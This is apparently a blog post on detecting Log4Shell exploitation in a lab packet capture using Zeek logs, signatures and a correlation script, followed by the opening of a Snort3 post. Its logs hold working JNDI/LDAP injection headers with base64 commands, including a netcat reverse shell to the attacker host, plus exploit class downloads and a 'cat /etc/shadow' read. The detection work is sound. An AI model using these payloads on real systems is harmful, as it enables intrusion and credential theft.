Friday, December 24, 2021

Continuing Log4-Shell - Zeek - Detection

Now that we understand the vulnerability and exploit, as well as having performed packet analysis using TShark and automated using Snort3, time to use Zeek against this pcap. Looking at Zeek from 3 different perspectives. First we will be running Zeek against the pcap to see what shows up. Second will be a Zeek signature and third writing a simple script to detect our activities.

My version of Zeek

┌──(rootđź’€securitynik)-[~/log4j]
└─# zeek --version
zeek version 4.2.0-dev.477

Running Zeek against the pcap, we see.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek --readfile /root/log4j/log4-shell.pcapng 
warning: problem initializing NB-DNS: connect(192.168.0.1): Network is unreachable
1640023652.008320 warning in /usr/local/zeek/share/zeek/base/misc/find-checksum-offloading.zeek, line 54: Your trace file likely has invalid TCP checksums, most likely from NIC checksum offloading.  By default, packets with invalid checksums are discarded by Zeek unless using the -C command-line option or toggling the 'ignore_checksums' variable.  Alternatively, disable checksum offloading by the network adapter to ensure Zeek analyzes the actual checksums that are transmitted.
1640029378.365160 warning in /usr/local/zeek/share/zeek/base/misc/find-filtered-trace.zeek, line 69: The analyzed trace file was determined to contain only TCP control packets, which may indicate it's been pre-filtered.  By default, Zeek reports the missing segments for this type of trace, but the 'detect_filtered_trace' option may be toggled if that's not desired.

Note the warning about invalid TCP checksums. Remember, in the previous post with Snort3, we had similar problems and had to disable checksum validation. Looking to see what logs were created without checksum validation disabled.

┌──(rootđź’€securitynik)-[/tmp]
└─# ls *.log
conn.log  packet_filter.log  reporter.log  weird.lo

Deleting these logs

┌──(rootđź’€securitynik)-[/tmp]
└─# rm -rf *.log

Running Zeek again, with checksum validation disabled.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums
warning: problem initializing NB-DNS: connect(192.168.0.1): Network is unreachable

Got part of the warning we saw above. Not sure what this is about. No need to look at it right now, as it will not impact our analysis.

Looking at the logs created.

┌──(rootđź’€securitynik)-[/tmp]
└─# ls *.log
conn.log  files.log  http.log  packet_filter.log  weird.log

We have 2 more logs than we had before. Now we have http.log and files.log.

Taking a look at the conn.log to understand what hosts were communicating, their ports and services, while getting statistics on the frequency of their communication.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut id.orig_h id.resp_h id.resp_p service < conn.log | sort | uniq --count | sort --numeric --reverse                                                    
    616 172.17.0.1      172.17.0.2      8080    http
     21 172.17.0.2      192.168.56.102  389     -
     19 172.17.0.1      172.17.0.2      8080    -
      3 172.17.0.2      192.168.56.102  443     http
      1 172.17.0.2      192.168.56.102  80      -
      1 172.17.0.1      172.17.0.2      80      -
      1 172.17.0.1      172.17.0.2      443     -
      1 172.17.0.1      172.17.0.2      389     -

From above, we may decide to give priority to the ones with least seen occurrences. These ones may be considered more interesting to you and is where I would probably start, if looking at things from this view.

Adding the duration to get a different perspective, to understand which one of these should be really given my priority.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut id.orig_h id.resp_h id.resp_p service duration < conn.log | sort --key=5 --numeric --reverse | more                                                  
172.17.0.2      192.168.56.102  80      -       254.944665
172.17.0.2      192.168.56.102  389     -       46.102546
172.17.0.2      192.168.56.102  389     -       20.838319
172.17.0.2      192.168.56.102  443     http    10.035707
172.17.0.2      192.168.56.102  443     http    10.003881
172.17.0.2      192.168.56.102  443     http    5.002082
172.17.0.1      172.17.0.2      8080    http    0.211523
172.17.0.2      192.168.56.102  389     -       0.184407
172.17.0.1      172.17.0.2      8080    http    0.113805
172.17.0.1      172.17.0.2      8080    http    0.032053
172.17.0.1      172.17.0.2      8080    http    0.025268
172.17.0.2      192.168.56.102  389     -       0.020236
172.17.0.1      172.17.0.2      8080    http    0.019386
172.17.0.2      192.168.56.102  389     -       0.018122
...

Looking at above, it seems the conversation that had the highest duration of 254 seconds, was done between an internal host at 172.17.0.2 and external host at 192.168.56.102 on port 80.  This should not be to too hard to figure out what this was about, as we hope this would be in the http.log, since Zeek would use it's HTTP protocol analyzer and we know port 80 is typically associated with HTTP.

What about the date and time when this long duration activity occurred? Also, to understand more about the exact session, we will need the source port from the client side of the communication. Let's dig a bit deeper, getting a little bit more intelligence into this as well as the next 4 sessions, before moving on to look at the http.log file.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut -d ts id.orig_h id.orig_p id.resp_h id.resp_p service duration < conn.log | grep --perl-regexp "\s+254\.|\s+46\.|\s+20\.|\s+10\."                    
2021-12-20T13:07:32-0500        172.17.0.2      51832   192.168.56.102  443     http    10.035707
2021-12-20T13:39:14-0500        172.17.0.2      51834   192.168.56.102  443     http    10.003881
2021-12-20T14:00:58-0500        172.17.0.2      37957   192.168.56.102  80      -       254.944665
2021-12-20T14:42:37-0500        172.17.0.2      36846   192.168.56.102  389     -       20.838319
2021-12-20T14:42:12-0500        172.17.0.2      36844   192.168.56.102  389     -       46.102546

With an understanding of when the activity occurred, who the communication was between the service involved and the duration, we are now in a better position to track each session. Let's jump to the http.log to see what we can get for that session with 254+ seconds of activity, by doing a grep for the source port.

┌──(rootđź’€securitynik)-[/tmp]
└─# cat http.log | grep 37957

Bummer! Nothing was returned above. This is concerning, considering this traffic occurred on port 80 and should have been seen as HTTP. Actually it is not concerning! We could have known even before this step, that Zeek might not have this in the HTTP log. We know this because we can see the last 3 lines of "-" while the first 2 has "http". Fortunately, for us there is the weird.log file, we can check for activity which Zeek did not understand or what it considers anomalous. 

┌──(rootđź’€securitynik)-[/tmp]
└─# ls weird.log 
weird.log

┌──(rootđź’€securitynik)-[/tmp]
└─# cat weird.log | grep 37957
1640026882.788799       CJAIvBhxDCpaF4JI3       172.17.0.2      37957   192.168.56.102  80      bad_HTTP_request        -       F       zeek    HTTP

Boom! There is one match.

Rather than searching all the other logs individually for interesting activity manually, let's quickly correlate all of this by using the UID "CJAIvBhxDCpaF4JI3".

┌──(rootđź’€securitynik)-[/tmp]
└─# grep "CJAIvBhxDCpaF4JI3" *.log
conn.log:1640026858.987870      CJAIvBhxDCpaF4JI3       172.17.0.2      37957   192.168.56.102  80      tcp     -       254.944665      742     46      S1      --0       ShAdDa  18      1686    17      938     -
weird.log:1640026882.788799     CJAIvBhxDCpaF4JI3       172.17.0.2      37957   192.168.56.102  80      bad_HTTP_request        -       F       zeek    HTTP

Interesting, Zeek only has activities in the conn.log and the weird.log. No need to perform any additional analysis here. Been there done that!

Cheating to see which logs the other four source ports show up in.

┌──(rootđź’€securitynik)-[/tmp]
└─# grep --perl-regexp "51832|51834|36846|36844" *.log
conn.log:1640023652.118623      CzZ5Kn3tnTTKLDfsTl      172.17.0.2      51832   192.168.56.102  443     tcp     http    10.035707       181     1294    SF      --0       ShADadFf        7       553     5       1562    -
conn.log:1640025554.666782      Clh2Jh2EYh1eKmCDB3      172.17.0.2      51834   192.168.56.102  443     tcp     http    10.003881       181     1299    SF      --0       ShADadFf        7       553     5       1567    -
conn.log:1640029357.522055      Cr9vCs4xT4rDbpVMI3      172.17.0.2      36846   192.168.56.102  389     tcp     -       20.838319       118     74      SF      --0       ShADadFf        10      646     8       498     -
conn.log:1640029332.258490      CDMPX92ZOjuLsQTySk      172.17.0.2      36844   192.168.56.102  389     tcp     -       46.102546       118     74      SF      --0       ShADadFf        10      646     8       498     -
http.log:1640023652.119439      CzZ5Kn3tnTTKLDfsTl      172.17.0.2      51832   192.168.56.102  443     1       GET     192.168.56.102  /ExploitQ8v7ygBW4i.class -1.1     Java/1.8.0_181  -       0       1216    200     OK      -       -       (empty) -       -       -       -       -       -       Fm2Pk636DiMArmDn03      -application/x-java-applet
http.log:1640025554.667458      Clh2Jh2EYh1eKmCDB3      172.17.0.2      51834   192.168.56.102  443     1       GET     192.168.56.102  /ExploitSMMZvT8GXL.class -1.1     Java/1.8.0_181  -       0       1221    200     OK      -       -       (empty) -       -       -       -       -       -       Fz7ckavJbacqKLihd       -application/x-java-applet

From above, we see the two entries flagged as HTTP service, actually shows up in the http.log file. We also see information on the java class file which was downloaded along with the HTTP method (GET) and mime type (application/x-java-applet). We also see the 200 response, indicating the requested resource was returned successfully.  With this information, we can now review the files.log to gain additional intelligence.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut -d ts fuid tx_hosts rx_hosts source filename seen_bytes total_bytes < files.log | grep --perl-regexp "Fm2Pk636DiMArmDn03|Fz7ckavJbacqKLihd" 
2021-12-20T13:07:32-0500        Fm2Pk636DiMArmDn03      192.168.56.102  172.17.0.2      HTTP    -       1216    1216
2021-12-20T13:39:14-0500        Fz7ckavJbacqKLihd       192.168.56.102  172.17.0.2      HTTP    -       1221    1221

At this point, we have insights into the files seen, when they were downloaded, the number of bytes of the file, etc.

We can continue looking at the Zeek logs as part of our incident response process. However, for me and this post, there is not much more intelligence to extract from these sessions.

Now that we have done the manual work, let write a few Zeek signatures to detect this activity in an automated way. 

┌──(rootđź’€securitynik)-[~/log4j]
└─# touch log4-shell-zeek.sig
# To reduce noise, this will not alert
# The next rule depends on this
# before raising an notice and creating an event

signature log4-shell-sig {
        ip-proto == tcp
	header tcp[13] == 0x02 	# Test the TCP flags to see if SYN is set
	src-ip == 172.17.0.0/16
	dst-ip != 172.17.0.0/16
	dst-port == 389
       }
	

# Generate an alert when there is an established session sceen on 389/tcp (LDAP)
signature log4-shell-est-sig {
	ip-proto == tcp
	header tcp[13:2] >= 0x18 # Testing one byte fails for me. Just cheating here by lookint at 2 bytes instead.
	src-ip == 172.17.0.0/16
	dst-ip != 172.17.0.0/16
	dst-port == 389
		
	payload /.*Basic\/Command\/Base64\/.*?=/
	tcp-state established, originator
	event "SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation"
	requires-signature log4-shell-sig 
	}
	

# This one looks specifically for JNDI in our pcap
signature log4-shell-jndi {
	header ip[9] == 0x06
	header ip[12:4] != 172.17.0.2/32
	header ip[16:4] == 172.17.0.2/32
	header tcp[2:2] == 8080	# Look at the destination port
	tcp-state established, originator
	payload /.*\$\{jndi:ldap:\/\/{1,3}.{1,3}.{1,3}.{1,3}.*Base.*?\}/i
	event "POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND"
}

# Look for netcat 
signature log4-shell-nc {
	header ip[9] == 0x06
	header ip[12:4] != 172.17.0.0/16
	header ip[16:4] == 172.17.0.2/32, 172.17.0.1
	header tcp[0:2] == 80	# Look at the source port
	tcp-state established, responder
	payload /.*\/etc\/shadow/
	event "POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)"
}

Running this against the pcap.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums --rulefile /root/log4j/log4-shell-zeek.sig 

┌──(rootđź’€securitynik)-[/tmp]
└─# ls *.log
conn.log  files.log  http.log  notice.log  packet_filter.log  signatures.log  weird.log

Reviewing the signatures.log file to see what triggered.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut -m -d ts uid src_addr src_port dst_addr dst_port note sig_id event_msg sub_msg  < signatures.log | more
ts      uid     src_addr        src_port        dst_addr        dst_port        note    sig_id  event_msg       sub_msg
2021-12-20T13:07:32-0500        CZGCty1ObPE9uwe9ul      172.17.0.1      60316   172.17.0.2      8080    Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3Rt
cC9wd25l...
2021-12-20T13:07:32-0500        C8OUK6eTadZLd5f39       172.17.0.2      36820   192.168.56.102  389     Signatures::Sensitive_Signature log4-shell-est-sig      172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    0o\x02\x01\x02cM\x04-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectCl
ass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2
2021-12-20T13:38:30-0500        CiTeN13ApWQV4M9aC3      172.17.0.1      60318   172.17.0.2      8080    Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMg
PiAvdG1w...
2021-12-20T13:39:14-0500        CBOV6S3YQW1Z7Lvsw8      172.17.0.1      60320   172.17.0.2      8080    Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMg
PiAvdG1w...
2021-12-20T13:39:14-0500        C0iyig49VLcYW1J8l7      172.17.0.2      36822   192.168.56.102  389     Signatures::Sensitive_Signature log4-shell-est-sig      172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    0w\x02\x01\x02cU\x045Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0b
objectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2
2021-12-20T14:00:58-0500        Ca7Ekq32Xv46VNjLbc      172.17.0.1      60324   172.17.0.2      8080    Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2
OC41Ni4x...
2021-12-20T14:00:58-0500        Cj3OI9WTGBxiVlJ1d       172.17.0.2      36824   192.168.56.102  389     Signatures::Sensitive_Signature log4-shell-est-sig      172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    0\x81\x8b\x02\x01\x02ci\x04IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\
x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4...
2021-12-20T14:05:13-0500        CSRztzObGbPaX1kXf       192.168.56.102  80      172.17.0.2      37957   Signatures::Sensitive_Signature log4-shell-nc   192.168.56.102: POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)   cat /etc/shadow\x0a

Good stuff, our signatures worked. Looking at the notice.log file.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut -m -d ts uid id.orig_h id.orig_p id.resp_h id.resp_p note msg  actions sub  < notice.log
ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       note    msg     actions sub
2021-12-20T13:07:32-0500        CZGCty1ObPE9uwe9ul      172.17.0.1      60316   172.17.0.2      8080    Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    Notice::ACTION_LOG      GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25l...
2021-12-20T13:07:32-0500        C8OUK6eTadZLd5f39       172.17.0.2      36820   192.168.56.102  389     Signatures::Sensitive_Signature 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    Notice::ACTION_LOG      0o\x02\x01\x02cM\x04-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2
2021-12-20T13:38:30-0500        CiTeN13ApWQV4M9aC3      172.17.0.1      60318   172.17.0.2      8080    Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    Notice::ACTION_LOG      GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1w...
2021-12-20T13:39:14-0500        CBOV6S3YQW1Z7Lvsw8      172.17.0.1      60320   172.17.0.2      8080    Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    Notice::ACTION_LOG      GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1w...
2021-12-20T13:39:14-0500        C0iyig49VLcYW1J8l7      172.17.0.2      36822   192.168.56.102  389     Signatures::Sensitive_Signature 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    Notice::ACTION_LOG      0w\x02\x01\x02cU\x045Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2
2021-12-20T14:00:58-0500        Ca7Ekq32Xv46VNjLbc      172.17.0.1      60324   172.17.0.2      8080    Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    Notice::ACTION_LOG      GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4x...
2021-12-20T14:00:58-0500        Cj3OI9WTGBxiVlJ1d       172.17.0.2      36824   192.168.56.102  389     Signatures::Sensitive_Signature 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    Notice::ACTION_LOG      0\x81\x8b\x02\x01\x02ci\x04IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4...
2021-12-20T14:05:13-0500        CSRztzObGbPaX1kXf       172.17.0.2      37957   192.168.56.102  80      Signatures::Sensitive_Signature 192.168.56.102: POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)   Notice::ACTION_LOG      cat /etc/shadow\x0a

So far, we have looked at using Zeek from two perspectives. First by simply reviewing the logs. Second my taking advantage of its signature capabilities. Let's now wrap this up with a script.

The first script, will detect when our signature "log4-shell-est-sig" triggers.

Here is what the first script looks like.

module log4Shell;

# Detect when our signature "log4-shell-est-sig" triggers
event signature_match(state: signature_state, msg: string, data: string)
    {
        if (state$sig_id == "log4-shell-jndi")
	    {
	        print "HEADS-UP **log4-shell-est-sig** FIRED!" ;
	    }
    }

When this is run, we see ...

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums --rulefile /root/log4j/log4-shell-zeek.sig /root/log4j/log4-shell-zeek-script.zeek 
HEADS-UP **log4-shell-est-sig** FIRED!
HEADS-UP **log4-shell-est-sig** FIRED!
HEADS-UP **log4-shell-est-sig** FIRED!
HEADS-UP **log4-shell-est-sig** FIRED!

Obviously, writing this to the screen is only for demo purposes. You may choose to perform some action such as send an email or something else.

Let's continue.

When we revisit some of the activity within our packet analysis, wee see patterns such as.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more
    1 2021-12-20 13:05:05.954935   172.17.0.1 → 172.17.0.2   TCP 74 60314 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090634673 TSecr=0 WS=128
   13 2021-12-20 13:07:32.008320   172.17.0.1 → 172.17.0.2   TCP 74 60316 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090780727 TSecr=0 WS=128
   18 2021-12-20 13:07:32.023122   172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128
   31 2021-12-20 13:07:32.118623   172.17.0.2 → 192.168.56.102 TCP 74 51832 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869658 TSecr=0 WS=128

   53 2021-12-20 13:38:30.063458   172.17.0.1 → 172.17.0.2   TCP 74 60318 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092638782 TSecr=0 WS=128
   63 2021-12-20 13:39:14.661012   172.17.0.1 → 172.17.0.2   TCP 74 60320 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092683379 TSecr=0 WS=128
   68 2021-12-20 13:39:14.663146   172.17.0.2 → 192.168.56.102 TCP 74 36822 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772202 TSecr=0 WS=128
   81 2021-12-20 13:39:14.666782   172.17.0.2 → 192.168.56.102 TCP 74 51834 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772206 TSecr=0 WS=128

  103 2021-12-20 14:00:58.960277   172.17.0.1 → 172.17.0.2   TCP 74 60324 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4093987679 TSecr=0 WS=128
  108 2021-12-20 14:00:58.962074   172.17.0.2 → 192.168.56.102 TCP 74 36824 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076501 TSecr=0 WS=128
  121 2021-12-20 14:00:58.968858   172.17.0.2 → 192.168.56.102 TCP 74 51836 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076508 TSecr=0 WS=128

Looking above, we can see a connection to destination port 8080, followed by a connection to port 389 then a connection to port 443. 

Modifying the filter to focus solely on our critical asset initiating those connections.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.src == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more                                             
   18 2021-12-20 13:07:32.023122   172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128
   31 2021-12-20 13:07:32.118623   172.17.0.2 → 192.168.56.102 TCP 74 51832 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869658 TSecr=0 WS=128

   68 2021-12-20 13:39:14.663146   172.17.0.2 → 192.168.56.102 TCP 74 36822 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772202 TSecr=0 WS=128
   81 2021-12-20 13:39:14.666782   172.17.0.2 → 192.168.56.102 TCP 74 51834 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772206 TSecr=0 WS=128

  108 2021-12-20 14:00:58.962074   172.17.0.2 → 192.168.56.102 TCP 74 36824 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076501 TSecr=0 WS=128
  121 2021-12-20 14:00:58.968858   172.17.0.2 → 192.168.56.102 TCP 74 51836 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076508 TSecr=0 WS=128

We can see a clearer pattern of port 389 communication follow by port 443.

By correlating these activities, we are making it easier to reduce false positives. Thus any notification from this script, should be more concerning than simply looking at port 389 or 443 individually.

# Define our internal hosts	
global internal_hosts: set[addr] = { 172.17.0.1, 172.17.0.2 } ;

# Define our critical asset
global critical_assets: set[addr] = { 172.17.0.2 } ;

# Store EXTERNAL connections (source IP, dst port) in a table
global tracked_external_conections: table[addr, port] of string;


# Leverage the event that looks for SYN connections
event connection_SYN_packet(c: connection, pkt: SYN_packet)
    {
	# Check for the port 389 connection
	if ( c$id$orig_h in critical_assets && c$id$resp_h !in internal_hosts && c$id$resp_p == 389/tcp)  
    	    {		
	        # Add the information to our table
	        tracked_external_conections[c$id$orig_h, c$id$resp_p] = "TRACKING LDAP";
		return;
	    }
	
	# Now check the port 443 initiation as well as if information on the host was previously stored.	
	if ( c$id$orig_h in critical_assets && c$id$resp_h !in internal_hosts && c$id$resp_p == 443/tcp && [c$id$orig_h, 389/tcp] in tracked_external_conections )  
	    {
		print "[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION";
		print fmt("   \\-> %s made a recent 389/tcp now making port 443 connection", c$id$orig_h);
		return;
	    }	
    }

With the code completed, let's run it against the pcap.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums --rulefile /root/log4j/log4-shell-zeek.sig /root/log4j/log4-shell-zeek-script.zeek 
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection

Once again, writing this to the screen is just for this demo purpose. Maybe instead you want to send an email about this or perform some other action. Also, realistically, you will need to add your script to your local.zeek file.

Here is an example of that.

┌──(rootđź’€securitynik)-[/tmp]
└─# echo "@load /root/log4j/log4-shell-zeek-script.zeek" >> /usr/local/zeek/share/zeek/site/local.zeek

┌──(rootđź’€securitynik)-[/tmp]
└─# tail --lines=1 /usr/local/zeek/share/zeek/site/local.zeek 
@load /root/log4j/log4-shell-zeek-script.zeek

Once completed, deploy your changes.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeekctl deploy
checking configurations ...
installing ...
creating policy directories ...
installing site policies ...
generating standalone-layout.zeek ...
generating local-networks.zeek ...
generating zeekctl-config.zeek ...
generating zeekctl-config.sh ...
stopping ...
stopping zeek ...
starting ...
starting zeek ...

Validate the changes were successfully deployed and Zeek is now running.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeekctl status
Name         Type       Host          Status    Pid    Started
securitynik-zeek standalone localhost     running   84525  23 Dec 14:30:28

Well that's it for this series and my understanding of the Log4J vulnerability, it's exploitation and detection.



















Continuing Log4-Shell - Snort3 Rule - Detection

Now that we have a better understanding of the vulnerability, how it is being exploited, as well as how we can use packet analysis to understand the activities seen on the network, let's now use Snort3 to  automate our future detections, thus reducing that dwell time.

First up, I will create my own Snort configuration file (snort-log4j-conf.lua) and a local.rules file to store my own rules.

┌──(rootđź’€securitynik)-[~/log4j]
└─# touch snort-log4j-conf.lua && touch local.rules && ls snort-log4j-conf.lua local.rules -l
-rw-r--r-- 1 root root 0 Dec 21 13:39 local.rules
-rw-r--r-- 1 root root 0 Dec 21 13:39 snort-log4j-conf.lua

Without any rules or special configuration, let's run this against snort3 default installation to see what we get. This is important as we will have something to compare against later. This is also meant to show the benefits of customizing your security tools for your environment. 

First up, I'm running on Snort Version 3.1.18.0

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --version                                                                                                                                               

   ,,_     -*> Snort++ <*-
  o"  )~   Version 3.1.18.0
   ''''    By Martin Roesch & The Snort Team
           http://snort.org/contact#team
           Copyright (C) 2014-2021 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using DAQ version 3.0.5
           Using LuaJIT version 2.1.0-beta3
           Using OpenSSL 1.1.1l  24 Aug 2021
           Using libpcap version 1.10.1 (with TPACKET_V3)
           Using PCRE version 8.44 2020-02-12
           Using ZLIB version 1.2.11
           Using FlatBuffers 2.0.5
           Using Hyperscan version 5.4.0 2021-12-20
           Using LZMA version 5.2.5

